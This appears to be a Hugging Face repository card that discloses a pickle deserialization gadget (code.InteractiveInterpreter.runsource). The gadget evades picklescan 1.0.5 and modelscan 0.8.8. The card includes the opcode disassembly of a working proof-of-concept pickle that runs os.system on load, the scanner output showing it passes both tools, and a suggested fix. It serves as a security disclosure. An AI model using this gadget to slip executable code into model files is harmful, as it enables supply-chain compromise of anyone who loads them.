You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

code.InteractiveInterpreter.runsource pickle gadget bypasses picklescan 1.0.5 and modelscan 0.8.8 (Python 3.13)

Category: Pickle deserialization / scanner-bypass β€” new RCE gadget Targets:


Summary

A pickle stream that instantiates code.InteractiveInterpreter and then calls its runsource unbound method reaches exec() at unpickle time, achieving arbitrary code execution. Neither picklescan 1.0.5 nor modelscan 0.8.8 flags it:

  • picklescan 1.0.5 blocklists the stdlib code module with a single exact-string entry that names only InteractiveInterpreter.runcode. It does not list InteractiveInterpreter.runsource. Both globals in the payload are classified as merely Suspicious (0 Dangerous / 0 Infected) β€” identical to how it treats the gadgets it already accepts as covered.
  • modelscan 0.8.8 does not include the code module in its unsafe_globals at all, and reports "No issues found".

Root cause

code.InteractiveInterpreter.runsource compiles a source string and executes it:

# CPython Lib/code.py  (unchanged on 3.13)
class InteractiveInterpreter:
    def runsource(self, source, filename="<input>", symbol="single"):
        try:
            code = self.compile(source, filename, symbol)   # compile() the source
        except (OverflowError, SyntaxError, ValueError):
            self.showsyntaxerror(filename)
            return False
        if code is None:
            return True
        self.runcode(code)          # -> exec(code, self.locals)
        return False

    def runcode(self, code):
        try:
            exec(code, self.locals)   # <-- arbitrary code execution
        ...

picklescan's blocklist entry for the code module (picklescan 1.0.5, src/picklescan/scanner.py, _unsafe_globals):

_unsafe_globals = {
    ...
    "code": {"InteractiveInterpreter.runcode"},   # <-- runsource is NOT listed
    ...
}

Because runsource compiles with symbol="exec" and then delegates straight to runcode -> exec, calling runsource is exactly as dangerous as calling runcode, but only runcode is on the blocklist. modelscan never lists the code module, so it misses both entrypoints.

PoC

A 183-byte protocol-4 pickle. A REDUCE chain (1) instantiates code.InteractiveInterpreter(), then (2) calls the runsource unbound method with (instance, malicious_source, "<input>", "exec"). runsource compiles the source in exec mode and runs it via runcode -> exec.

Generator: gen_poc.py. Artifacts: evil.pkl, evil.joblib (identical bytes β€” a joblib container is itself a pickle stream), control_os.pkl (negative control).

Disassembly of evil.pkl:

    0: \x80 PROTO      4
    2: c    GLOBAL     'code InteractiveInterpreter.runsource'
   41: (    MARK
   42: c        GLOBAL     'code InteractiveInterpreter'
   71: )        EMPTY_TUPLE
   72: R        REDUCE                     # instance = InteractiveInterpreter()
   73: \x8c     SHORT_BINUNICODE "import os; os.system('id > PWNED_MARKER ...')"
  165: \x8c     SHORT_BINUNICODE '<input>'
  174: \x8c     SHORT_BINUNICODE 'exec'
  180: t        TUPLE      (MARK at 41)
  181: R    REDUCE                         # runsource(instance, source, '<input>', 'exec') -> exec
  182: .    STOP

The malicious source executed is: import os; os.system("id > PWNED_MARKER 2>&1; echo CODE_RUNSOURCE_GADGET >> PWNED_MARKER")

Captured evidence (verbatim)

EXECUTE β€” CPython 3.13.12, pickle.load(open('evil.pkl','rb'))

PWNED_MARKER written:

uid=1000(kali) gid=1000(kali) groups=1000(kali),4(adm),20(dialout),24(cdrom),25(floppy),27(sudo),29(audio),30(dip),44(video),46(plugdev),100(users),101(netdev),102(scanner),118(wireshark),119(kaboxer),982(bluetooth),999(lpadmin)
CODE_RUNSOURCE_GADGET

EXECUTE β€” CPython 3.13.12, joblib.load('evil.joblib') (joblib 1.5.3)

PWNED_MARKER written: same uid=1000(kali) ... output followed by CODE_RUNSOURCE_GADGET.

picklescan 1.0.5 β€” evil.pkl

Scanned files: 1
Infected files: 0
Suspicious globals: 2
Dangerous globals: 0
(exit=0)

Globals seen: GLOBAL 'code InteractiveInterpreter.runsource', GLOBAL 'code InteractiveInterpreter' β€” both classified Suspicious, none Dangerous.

modelscan 0.8.8 β€” evil.pkl

Scanning ... using modelscan.scanners.PickleUnsafeOpScan model
--- Summary ---
No issues found! πŸŽ‰
(exit=0)

Negative control β€” control_os.pkl (classic posix.system reduce)

Proves detection is live in both scanners.

picklescan 1.0.5:

control_os.pkl: dangerous import 'posix system' FOUND
Infected files: 1
Dangerous globals: 1

modelscan 0.8.8:

Total Issues: 1
Total Issues By Severity:  CRITICAL: 1
"Use of unsafe operator 'system' from module 'posix'"
(exit=1)

Impact

Any workflow that scans a .pkl / .joblib / pickle-backed model file with picklescan 1.0.5 or modelscan 0.8.8 and then loads it (e.g. Hugging Face model loading, joblib-serialized sklearn models) will pass the scan yet execute attacker code on load. Both tools are the de-facto pre-load scanners for the ML supply chain.

Dedup / prior-art note

  • No CVE or public advisory references code.InteractiveInterpreter.runsource (or runcode) as a pickle gadget at the time of writing.
  • Distinct from all 15 gadgets picklescan already covers in its blocklist (marshal.loads, types.FunctionType, operator.call, dataclasses._create_fn, pydoc.pipepager, cProfile/timeit, posix.spawnv_passfds, logging.config.dictConfig, etc.).
  • The related code.InteractiveConsole subclass and the runcode method are already on picklescan's list; runsource on the base InteractiveInterpreter class is the gap. It is the natural sibling entrypoint (compile+exec) and is missed by an exact string-match blocklist.
  • No prior Hugging Face repo or local workspace file references code / runsource / InteractiveInterpreter as a gadget.

Suggested fix

picklescan should add InteractiveInterpreter.runsource (and, for completeness, InteractiveConsole.runsource / push / interact, and compile_command) to the code module entry β€” or blocklist the code module wholesale. modelscan should add the code module to its unsafe_globals. A method-name allowlist/blocklist that enumerates individual methods is inherently fragile against sibling entrypoints that funnel into the same exec.

Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support